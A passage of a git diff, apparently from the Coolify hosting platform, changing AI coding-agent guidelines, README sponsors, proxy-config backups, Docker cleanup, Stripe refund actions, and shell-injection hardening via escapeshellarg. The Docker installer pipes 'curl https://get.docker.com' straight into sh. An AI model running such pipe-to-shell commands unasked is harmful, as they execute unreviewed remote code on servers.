"rate limit". -5. Multiple Queries - queries=["authentication", "middleware"] - ANY of these terms. +- Execute PHP in app context for debugging and testing code. Do not create models without user approval, prefer tests with factories instead. Prefer existing Artisan commands over custom tinker code. +- Always use single quotes to prevent shell expansion: `php artisan tinker --execute 'Your::code();'` + - Double quotes for PHP strings inside: `php artisan tinker --execute 'User::where("active", true)->count();'` === php rules === # PHP - Always use curly braces for control structures, even for single-line bodies. - -## Constructors - -- Use PHP 8 constructor property promotion in `__construct()`. - - public function __construct(public GitHub $github) { } -- Do not allow empty `__construct()` methods with zero parameters unless the constructor is private. - -## Type Declarations - -- Always use explicit return type declarations for methods and functions. -- Use appropriate PHP type hints for method parameters. - - -protected function isAccessible(User $user, ?string $path = null): bool -{ - ... -} - - -## Enums - -- Typically, keys in an Enum should be TitleCase. For example: `FavoritePerson`, `BestLake`, `Monthly`. - -## Comments - -- Prefer PHPDoc blocks over inline comments. Never use comments within the code itself unless the logic is exceptionally complex. - -## PHPDoc Blocks - -- Add useful array shape type definitions when appropriate. +- Use PHP 8 constructor property promotion: `public function __construct(public GitHub $github) { }`. Do not leave empty zero-parameter `__construct()` methods unless the constructor is private. +- Use explicit return type declarations and type hints for all method parameters: `function isAccessible(User $user, ?string $path = null): bool` +- Use TitleCase for Enum keys: `FavoritePerson`, `BestLake`, `Monthly`. +- Prefer PHPDoc blocks over inline comments. Only add inline comments for exceptionally complex logic. +- Use array shape type definitions in PHPDoc blocks. === tests rules === @@ -235,47 +236,22 @@ # Test Enforcement # Do Things the Laravel Way -- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using the `list-artisan-commands` tool. +- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using `php artisan list` and check their parameters with `php artisan [command] --help`. - If you're creating a generic PHP class, use `php artisan make:class`. - Pass `--no-interaction` to all Artisan commands to ensure they work without user input. You should also pass the correct `--options` to ensure correct behavior. -## Database - -- Always use proper Eloquent relationship methods with return type hints. Prefer relationship methods over raw queries or manual joins. -- Use Eloquent models and relationships before suggesting raw database queries. -- Avoid `DB::`; prefer `Model::query()`. Generate code that leverages Laravel's ORM capabilities rather than bypassing them. -- Generate code that prevents N+1 query problems by using eager loading. -- Use Laravel's query builder for very complex database operations. - ### Model Creation -- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `list-artisan-commands` to check the available options to `php artisan make:model`. +- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `php artisan make:model --help` to check the available options. -### APIs & Eloquent Resources +## APIs & Eloquent Resources - For APIs, default to using Eloquent API Resources and API versioning unless existing API routes do not, then you should follow existing application convention. -## Controllers & Validation - -- Always create Form Request classes for validation rather than inline validation in controllers. Include both validation rules and custom error messages. -- Check sibling Form Requests to see if the application uses array or string based validation rules. - -## Authentication & Authorization - -- Use Laravel's built-in authentication and authorization features (gates, policies, Sanctum, etc.). - ## URL Generation - When generating links to other pages, prefer named routes and the `route()` function. -## Queues - -- Use queued jobs for time-consuming operations with the `ShouldQueue` interface. - -## Configuration - -- Use environment variables only in configuration files - never use the `env()` function directly outside of config files. Always use `config('app.name')`, not `env('APP_NAME')`. - ## Testing - When creating models for tests, use the factories for the models. Check if the factory has custom states that can be used before manually setting up the model. @@ -316,16 +292,15 @@ ### Models # Livewire -- Livewire allows you to build dynamic, reactive interfaces using only PHP — no JavaScript required. -- Instead of writing frontend code in JavaScript frameworks, you use Alpine.js to build the UI when client-side interactions are required. -- State lives on the server; the UI reflects it. Validate and authorize in actions (they're like HTTP requests). -- IMPORTANT: Activate `livewire-development` every time you're working with Livewire-related tasks. +- Livewire allow to build dynamic, reactive interfaces in PHP without writing JavaScript. +- You can use Alpine.js for client-side interactions instead of JavaScript frameworks. +- Keep state server-side so the UI reflects it. Validate and authorize in actions as you would in HTTP requests. === pint/core rules === # Laravel Pint Code Formatter -- You must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style. +- If you have modified any PHP files, you must run `vendor/bin/pint --dirty --format agent` before finalizing changes to ensure your code matches the project's expected style. - Do not run `vendor/bin/pint --test --format agent`, simply run `vendor/bin/pint --format agent` to fix any formatting issues. === pest/core rules === @@ -335,22 +310,5 @@ ## Pest - This project uses Pest for testing. Create tests: `php artisan make:test --pest {name}`. - Run tests: `php artisan test --compact` or filter: `php artisan test --compact --filter=testName`. - Do NOT delete tests without approval. -- CRITICAL: ALWAYS use `search-docs` tool for version-specific Pest documentation and updated code examples. -- IMPORTANT: Activate `pest-testing` every time you're working with a Pest or testing-related task. -=== tailwindcss/core rules === - -# Tailwind CSS - -- Always use existing Tailwind conventions; check project patterns before adding new ones. -- IMPORTANT: Always use `search-docs` tool for version-specific Tailwind CSS documentation and updated code examples. Never rely on training data. -- IMPORTANT: Activate `tailwindcss-development` every time you're working with a Tailwind CSS or styling-related task. - -=== laravel/fortify rules === - -# Laravel Fortify - -- Fortify is a headless authentication backend that provides authentication routes and controllers for Laravel applications. -- IMPORTANT: Always use the `search-docs` tool for detailed Laravel Fortify patterns and documentation. -- IMPORTANT: Activate `developing-with-fortify` skill when working with Fortify authentication features. diff --git a/README.md b/README.md index 276ef07b5..a5aa69343 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,13 @@ ## Donations Thank you so much! +### Huge Sponsors + +* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality +* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API +* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs +* + ### Big Sponsors * [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions! @@ -63,16 +70,18 @@ ### Big Sponsors * [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions * [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner * [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform -* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain +* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain * [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale * [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half * [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor * [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform * [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers * [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy -* [Dade2](https://dade2.net/?ref=coolify.io) - IT Consulting, Cloud Solutions & System Integration +* [Darweb](https://darweb.nl/?ref=coolify.io) - 3D CPQ solutions for ecommerce design +* [Dataforest Cloud](https://cloud.dataforest.net/en?ref=coolify.io) - Deploy cloud servers as seeds independently in seconds. Enterprise hardware, premium network, 100% made in Germany. * [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions +* [Greptile](https://www.greptile.com?ref=coolify.io) - The AI Code Reviewer * [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions * [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions * [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers @@ -81,6 +90,7 @@ ### Big Sponsors * [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers * [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity * [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity +* [PetroSky Cloud](https://petrosky.io?ref=coolify.io) - Open source cloud deployment solutions * [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang * [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting * [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers @@ -90,6 +100,7 @@ ### Big Sponsors * [Tigris](https://www.tigrisdata.com?ref=coolify.io) - Modern developer data platform * [Tolgee](https://tolgee.io?ref=coolify.io) - The open source localization platform * [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform +* [VPSDime](https://vpsdime.com?ref=coolify.io) - Affordable high-performance VPS hosting solutions ### Small Sponsors @@ -126,7 +137,6 @@ ### Small Sponsors RunPod DartNode Tyler Whitesides -SerpAPI Aquarela Crypto Jobs List Alfred Nutile diff --git a/app/Actions/CoolifyTask/PrepareCoolifyTask.php b/app/Actions/CoolifyTask/PrepareCoolifyTask.php deleted file mode 100644 index 3f76a2e3c..000000000 --- a/app/Actions/CoolifyTask/PrepareCoolifyTask.php +++ /dev/null @@ -1,54 +0,0 @@ -remoteProcessArgs = $remoteProcessArgs; - - if ($remoteProcessArgs->model) { - $properties = $remoteProcessArgs->toArray(); - unset($properties['model']); - - $this->activity = activity() - ->withProperties($properties) - ->performedOn($remoteProcessArgs->model) - ->event($remoteProcessArgs->type) - ->log('[]'); - } else { - $this->activity = activity() - ->withProperties($remoteProcessArgs->toArray()) - ->event($remoteProcessArgs->type) - ->log('[]'); - } - } - - public function __invoke(): Activity - { - $job = new CoolifyTask( - activity: $this->activity, - ignore_errors: $this->remoteProcessArgs->ignore_errors, - call_event_on_finish: $this->remoteProcessArgs->call_event_on_finish, - call_event_data: $this->remoteProcessArgs->call_event_data, - ); - dispatch($job); - $this->activity->refresh(); - - return $this->activity; - } -} diff --git a/app/Actions/Database/StartDatabaseProxy.php b/app/Actions/Database/StartDatabaseProxy.php index 4331c6ae7..fa39f7909 100644 --- a/app/Actions/Database/StartDatabaseProxy.php +++ b/app/Actions/Database/StartDatabaseProxy.php @@ -51,9 +51,11 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St } $configuration_dir = database_proxy_dir($database->uuid); + $host_configuration_dir = $configuration_dir; if (isDev()) { - $configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; + $host_configuration_dir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/databases/'.$database->uuid.'/proxy'; } + $timeoutConfig = $this->buildProxyTimeoutConfig($database->public_port_timeout); $nginxconf = <<public_port; proxy_pass $containerName:$internalPort; + $timeoutConfig } } EOF; @@ -85,7 +88,7 @@ public function handle(StandaloneRedis|StandalonePostgresql|StandaloneMongodb|St 'volumes' => [ [ 'type' => 'bind', - 'source' => "$configuration_dir/nginx.conf", + 'source' => "$host_configuration_dir/nginx.conf", 'target' => '/etc/nginx/nginx.conf', ], ], @@ -160,4 +163,13 @@ private function isNonTransientError(string $message): bool return false; } + + private function buildProxyTimeoutConfig(?int $timeout): string + { + if ($timeout === null || $timeout < 1) { + $timeout = 3600; + } + + return "proxy_timeout {$timeout}s;"; + } } diff --git a/app/Actions/Docker/GetContainersStatus.php b/app/Actions/Docker/GetContainersStatus.php index 6c9a54f77..5966876c6 100644 --- a/app/Actions/Docker/GetContainersStatus.php +++ b/app/Actions/Docker/GetContainersStatus.php @@ -327,6 +327,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($exitedService->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + $name = data_get($exitedService, 'name'); $fqdn = data_get($exitedService, 'fqdn'); if ($name) { @@ -406,6 +412,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($database->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + // Reset restart tracking when database exits completely $database->update([ 'status' => 'exited', diff --git a/app/Actions/Proxy/GetProxyConfiguration.php b/app/Actions/Proxy/GetProxyConfiguration.php index 3aa1d8d34..159f12252 100644 --- a/app/Actions/Proxy/GetProxyConfiguration.php +++ b/app/Actions/Proxy/GetProxyConfiguration.php @@ -2,9 +2,12 @@ namespace App\Actions\Proxy; +use App\Enums\ProxyTypes; use App\Models\Server; use App\Services\ProxyDashboardCacheService; +use Illuminate\Support\Facades\Log; use Lorisleiva\Actions\Concerns\AsAction; +use Symfony\Component\Yaml\Yaml; class GetProxyConfiguration { @@ -17,28 +20,42 @@ public function handle(Server $server, bool $forceRegenerate = false): string return 'OK'; } - $proxy_path = $server->proxyPath(); $proxy_configuration = null; - // If not forcing regeneration, try to read existing configuration if (! $forceRegenerate) { - $payload = [ - "mkdir -p $proxy_path", - "cat $proxy_path/docker-compose.yml 2>/dev/null", - ]; - $proxy_configuration = instant_remote_process($payload, $server, false); + // Primary source: database + $proxy_configuration = $server->proxy->get('last_saved_proxy_configuration'); + + // Validate stored config matches current proxy type + if (! empty(trim($proxy_configuration ?? ''))) { + if (! $this->configMatchesProxyType($proxyType, $proxy_configuration)) { + Log::warning('Stored proxy config does not match current proxy type, will regenerate', [ + 'server_id' => $server->id, + 'proxy_type' => $proxyType, + ]); + $proxy_configuration = null; + } + } + + // Backfill: existing servers may not have DB config yet — read from disk once + if (empty(trim($proxy_configuration ?? ''))) { + $proxy_configuration = $this->backfillFromDisk($server); + } } - // Generate default configuration if: - // 1. Force regenerate is requested - // 2. Configuration file doesn't exist or is empty + // Generate default configuration as last resort if ($forceRegenerate || empty(trim($proxy_configuration ?? ''))) { - // Extract custom commands from existing config before regenerating $custom_commands = []; if (! empty(trim($proxy_configuration ?? ''))) { $custom_commands = extractCustomProxyCommands($server, $proxy_configuration); } + Log::warning('Proxy configuration regenerated to defaults', [ + 'server_id' => $server->id, + 'server_name' => $server->name, + 'reason' => $forceRegenerate ? 'force_regenerate' : 'config_not_found', + ]); + $proxy_configuration = str(generateDefaultProxyConfiguration($server, $custom_commands))->trim()->value(); } @@ -50,4 +67,53 @@ public function handle(Server $server, bool $forceRegenerate = false): string return $proxy_configuration; } + + /** + * Check that the stored docker-compose YAML contains the expected service + * for the server's current proxy type. Returns false if the config belongs + * to a different proxy type (e.g. Traefik config on a CADDY server). + */ + private function configMatchesProxyType(string $proxyType, string $configuration): bool + { + try { + $yaml = Yaml::parse($configuration); + $services = data_get($yaml, 'services', []); + + return match ($proxyType) { + ProxyTypes::TRAEFIK->value => isset($services['traefik']), + ProxyTypes::CADDY->value => isset($services['caddy']), + ProxyTypes::NGINX->value => isset($services['nginx']), + default => true, + }; + } catch (\Throwable $e) { + // If YAML is unparseable, don't block — let the existing flow handle it + return true; + } + } + + /** + * Backfill: read config from disk for servers that predate DB storage. + * Stores the result in the database so future reads skip SSH entirely. + */ + private function backfillFromDisk(Server $server): ?string + { + $proxy_path = $server->proxyPath(); + $result = instant_remote_process([ + "mkdir -p $proxy_path", + "cat $proxy_path/docker-compose.yml 2>/dev/null", + ], $server, false); + + if (! empty(trim($result ?? ''))) { + $server->proxy->last_saved_proxy_configuration = $result; + $server->save(); + + Log::info('Proxy config backfilled to database from disk', [ + 'server_id' => $server->id, + ]); + + return $result; + } + + return null; + } } diff --git a/app/Actions/Proxy/SaveProxyConfiguration.php b/app/Actions/Proxy/SaveProxyConfiguration.php index 53fbecce2..bcfd5011d 100644 --- a/app/Actions/Proxy/SaveProxyConfiguration.php +++ b/app/Actions/Proxy/SaveProxyConfiguration.php @@ -9,19 +9,41 @@ class SaveProxyConfiguration { use AsAction; + private const MAX_BACKUPS = 10; + public function handle(Server $server, string $configuration): void { $proxy_path = $server->proxyPath(); $docker_compose_yml_base64 = base64_encode($configuration); + $new_hash = str($docker_compose_yml_base64)->pipe('md5')->value; - // Update the saved settings hash - $server->proxy->last_saved_settings = str($docker_compose_yml_base64)->pipe('md5')->value; + // Only create a backup if the configuration actually changed + $old_hash = $server->proxy->get('last_saved_settings'); + $config_changed = $old_hash && $old_hash !== $new_hash; + + // Update the saved settings hash and store full config as database backup + $server->proxy->last_saved_settings = $new_hash; + $server->proxy->last_saved_proxy_configuration = $configuration; $server->save(); - // Transfer the configuration file to the server - instant_remote_process([ - "mkdir -p $proxy_path", - "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null", - ], $server); + $backup_path = "$proxy_path/backups"; + + // Transfer the configuration file to the server, with backup if changed + $commands = ["mkdir -p $proxy_path"]; + + if ($config_changed) { + $short_hash = substr($old_hash, 0, 8); + $timestamp = now()->format('Y-m-d_H-i-s'); + $backup_file = "docker-compose.{$timestamp}.{$short_hash}.yml"; + $commands[] = "mkdir -p $backup_path"; + // Skip backup if a file with the same hash already exists (identical content) + $commands[] = "ls $backup_path/docker-compose.*.$short_hash.yml 1>/dev/null 2>&1 || cp -f $proxy_path/docker-compose.yml $backup_path/$backup_file 2>/dev/null || true"; + // Prune old backups, keep only the most recent ones + $commands[] = 'cd '.$backup_path.' && ls -1t docker-compose.*.yml 2>/dev/null | tail -n +'.((int) self::MAX_BACKUPS + 1).' | xargs rm -f 2>/dev/null || true'; + } + + $commands[] = "echo '$docker_compose_yml_base64' | base64 -d | tee $proxy_path/docker-compose.yml > /dev/null"; + + instant_remote_process($commands, $server); } } diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 65a41db18..0d9ca0153 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -177,9 +177,10 @@ private function cleanupApplicationImages(Server $server, $applications = null): ->filter(fn ($image) => ! empty($image['tag'])); // Separate images into categories - // PR images (pr-*) and build images (*-build) are excluded from retention - // Build images will be cleaned up by docker image prune -af + // PR images (pr-*) are always deleted + // Build images (*-build) are cleaned up to match retained regular images $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); // Always delete all PR images @@ -209,6 +210,26 @@ private function cleanupApplicationImages(Server $server, $applications = null): 'output' => $deleteOutput ?? 'Image removed or was in use', ]; } + + // Clean up build images (-build suffix) that don't correspond to retained regular images + // Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers. + // If a build is in progress, docker rmi will fail silently since the image is in use. + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + foreach ($buildImages as $image) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + if (! $keptTags->contains($baseTag)) { + $deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true"; + $deleteOutput = instant_remote_process([$deleteCommand], $server, false); + $cleanupLog[] = [ + 'command' => $deleteCommand, + 'output' => $deleteOutput ?? 'Build image removed or was in use', + ]; + } + } } return $cleanupLog; diff --git a/app/Actions/Server/InstallDocker.php b/app/Actions/Server/InstallDocker.php index d718d3735..2e08ec6ad 100644 --- a/app/Actions/Server/InstallDocker.php +++ b/app/Actions/Server/InstallDocker.php @@ -11,11 +11,8 @@ class InstallDocker { use AsAction; - private string $dockerVersion; - public function handle(Server $server) { - $this->dockerVersion = config('constants.docker.minimum_required_version'); $supported_os_type = $server->validateOS(); if (! $supported_os_type) { throw new \Exception('Server OS type is not supported for automated installation. Please install Docker manually before continuing: documentation.'); @@ -30,12 +27,14 @@ public function handle(Server $server) ); $caCertPath = config('constants.coolify.base_config_path').'/ssl/'; + $base64Cert = base64_encode($serverCert->ssl_certificate); + $commands = collect([ "mkdir -p $caCertPath", "chown -R 9999:root $caCertPath", "chmod -R 700 $caCertPath", "rm -rf $caCertPath/coolify-ca.crt", - "echo '{$serverCert->ssl_certificate}' > $caCertPath/coolify-ca.crt", + "echo '{$base64Cert}' | base64 -d | tee $caCertPath/coolify-ca.crt > /dev/null", "chmod 644 $caCertPath/coolify-ca.crt", ]); remote_process($commands, $server); @@ -116,7 +115,7 @@ public function handle(Server $server) private function getDebianDockerInstallCommand(): string { - return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (". + return 'curl -fsSL https://get.docker.com | sh || ('. '. /etc/os-release && '. 'install -m 0755 -d /etc/apt/keyrings && '. 'curl -fsSL https://download.docker.com/linux/${ID}/gpg -o /etc/apt/keyrings/docker.asc && '. @@ -129,7 +128,7 @@ private function getDebianDockerInstallCommand(): string private function getRhelDockerInstallCommand(): string { - return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (". + return 'curl -fsSL https://get.docker.com | sh || ('. 'dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo && '. 'dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '. 'systemctl start docker && '. @@ -139,7 +138,7 @@ private function getRhelDockerInstallCommand(): string private function getSuseDockerInstallCommand(): string { - return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (". + return 'curl -fsSL https://get.docker.com | sh || ('. 'zypper addrepo https://download.docker.com/linux/sles/docker-ce.repo && '. 'zypper refresh && '. 'zypper install -y --no-confirm docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '. @@ -150,10 +149,6 @@ private function getSuseDockerInstallCommand(): string private function getArchDockerInstallCommand(): string { - // Use -Syu to perform full system upgrade before installing Docker - // Partial upgrades (-Sy without -u) are discouraged on Arch Linux - // as they can lead to broken dependencies and system instability - // Use --needed to skip reinstalling packages that are already up-to-date (idempotent) return 'pacman -Syu --noconfirm --needed docker docker-compose && '. 'systemctl enable docker.service && '. 'systemctl start docker.service'; @@ -161,6 +156,6 @@ private function getArchDockerInstallCommand(): string private function getGenericDockerInstallCommand(): string { - return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion}"; + return 'curl -fsSL https://get.docker.com | sh'; } } diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index f72f23696..e4df5a061 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -177,6 +177,19 @@ public function handle(Server $server) $parsers_config = $config_path.'/parsers.conf'; $compose_path = $config_path.'/docker-compose.yml'; $readme_path = $config_path.'/README.md'; + if ($type === 'newrelic') { + $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; + } elseif ($type === 'highlight') { + $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; + } elseif ($type === 'axiom') { + $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + } elseif ($type === 'custom') { + $envContent = ''; + } else { + throw new \Exception('Unknown log drain type.'); + } + $envEncoded = base64_encode($envContent); + $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -184,34 +197,10 @@ public function handle(Server $server) "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null", "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", - "test -f $config_path/.env && rm $config_path/.env", - ]; - if ($type === 'newrelic') { - $add_envs_command = [ - "echo LICENSE_KEY=$license_key >> $config_path/.env", - "echo BASE_URI=$base_uri >> $config_path/.env", - ]; - } elseif ($type === 'highlight') { - $add_envs_command = [ - "echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env", - ]; - } elseif ($type === 'axiom') { - $add_envs_command = [ - "echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env", - "echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env", - ]; - } elseif ($type === 'custom') { - $add_envs_command = [ - "touch $config_path/.env", - ]; - } else { - throw new \Exception('Unknown log drain type.'); - } - $restart_command = [ + "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", "echo 'Starting Fluent Bit'", "cd $config_path && docker compose up -d", ]; - $command = array_merge($command, $add_envs_command, $restart_command); return instant_remote_process($command, $server); } catch (\Throwable $e) { diff --git a/app/Actions/Server/StartSentinel.php b/app/Actions/Server/StartSentinel.php index 1f248aec1..071f3ec46 100644 --- a/app/Actions/Server/StartSentinel.php +++ b/app/Actions/Server/StartSentinel.php @@ -4,6 +4,7 @@ use App\Events\SentinelRestarted; use App\Models\Server; +use App\Models\ServerSetting; use Lorisleiva\Actions\Concerns\AsAction; class StartSentinel @@ -23,6 +24,9 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer $refreshRate = data_get($server, 'settings.sentinel_metrics_refresh_rate_seconds'); $pushInterval = data_get($server, 'settings.sentinel_push_interval_seconds'); $token = data_get($server, 'settings.sentinel_token'); + if (! ServerSetting::isValidSentinelToken($token)) { + throw new \RuntimeException('Invalid sentinel token format. Token must contain only alphanumeric characters, dots, hyphens, and underscores.'); + } $endpoint = data_get($server, 'settings.sentinel_custom_url'); $debug = data_get($server, 'settings.is_sentinel_debug_enabled'); $mountDir = '/data/coolify/sentinel'; @@ -49,7 +53,7 @@ public function handle(Server $server, bool $restart = false, ?string $latestVer } $mountDir = '/var/lib/docker/volumes/coolify_dev_coolify_data/_data/sentinel'; } - $dockerEnvironments = '-e "'.implode('" -e "', array_map(fn ($key, $value) => "$key=$value", array_keys($environments), $environments)).'"'; + $dockerEnvironments = implode(' ', array_map(fn ($key, $value) => '-e '.escapeshellarg("$key=$value"), array_keys($environments), $environments)); $dockerLabels = implode(' ', array_map(fn ($key, $value) => "$key=$value", array_keys($labels), $labels)); $dockerCommand = "docker run -d $dockerEnvironments --name coolify-sentinel -v /var/run/docker.sock:/var/run/docker.sock -v $mountDir:/app/db --pid host --health-cmd \"curl --fail http://127.0.0.1:8888/api/health || exit 1\" --health-interval 10s --health-retries 3 --add-host=host.docker.internal:host-gateway --label $dockerLabels $image"; diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php index 8790901cd..460600d69 100644 --- a/app/Actions/Service/DeleteService.php +++ b/app/Actions/Service/DeleteService.php @@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec } } foreach ($storagesToDelete as $storage) { - $commands[] = "docker volume rm -f $storage->name"; + $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name); } // Execute volume deletion first, this must be done first otherwise volumes will not be deleted. diff --git a/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php b/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php new file mode 100644 index 000000000..34c7d194a --- /dev/null +++ b/app/Actions/Stripe/CancelSubscriptionAtPeriodEnd.php @@ -0,0 +1,60 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Cancel the team's subscription at the end of the current billing period. + * + * @return array{success: bool, error: string|null} + */ + public function execute(Team $team): array + { + $subscription = $team->subscription; + + if (! $subscription?->stripe_subscription_id) { + return ['success' => false, 'error' => 'No active subscription found.']; + } + + if (! $subscription->stripe_invoice_paid) { + return ['success' => false, 'error' => 'Subscription is not active.']; + } + + if ($subscription->stripe_cancel_at_period_end) { + return ['success' => false, 'error' => 'Subscription is already set to cancel at the end of the billing period.']; + } + + try { + $this->stripe->subscriptions->update($subscription->stripe_subscription_id, [ + 'cancel_at_period_end' => true, + ]); + + $subscription->update([ + 'stripe_cancel_at_period_end' => true, + ]); + + \Log::info("Subscription {$subscription->stripe_subscription_id} set to cancel at period end for team {$team->name}"); + + return ['success' => true, 'error' => null]; + } catch (\Stripe\Exception\InvalidRequestException $e) { + \Log::error("Stripe cancel at period end error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'Stripe error: '.$e->getMessage()]; + } catch (\Exception $e) { + \Log::error("Cancel at period end error for team {$team->id}: ".$e->getMessage()); + + return ['success' => false, 'error' => 'An unexpected error occurred. Please contact support.']; + } + } +} diff --git a/app/Actions/Stripe/RefundSubscription.php b/app/Actions/Stripe/RefundSubscription.php new file mode 100644 index 000000000..b10d783db --- /dev/null +++ b/app/Actions/Stripe/RefundSubscription.php @@ -0,0 +1,156 @@ +stripe = $stripe ?? new StripeClient(config('subscription.stripe_api_key')); + } + + /** + * Check if the team's subscription is eligible for a refund. + * + * @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null} + */ + public function checkEligibility(Team $team): array + { + $subscription = $team->subscription; + + if ($subscription?->stripe_refunded_at) { + return $this->ineligible('A refund has already been processed for this team.'); + } + + if (! $subscription?->stripe_subscription_id) { + return $this->ineligible('No active subscription found.'); + } + + if (! $subscription->stripe_invoice_paid) { + return $this->ineligible('Subscription invoice is not paid.'); + } + + try { + $stripeSubscription = $this->stripe->subscriptions->retrieve($subscription->stripe_subscription_id); + } catch (\Stripe\Exception\InvalidRequestException $e) { + return $this->ineligible('Subscription not found in Stripe.'); + } + + $currentPeriodEnd = $stripeSubscription->current_period_end; + + if (! in_array($stripeSubscription->status, ['active', 'trialing'])) { + return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd); + } + + $startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date); + $daysSinceStart = (int) $startDate->diffInDays(now()); 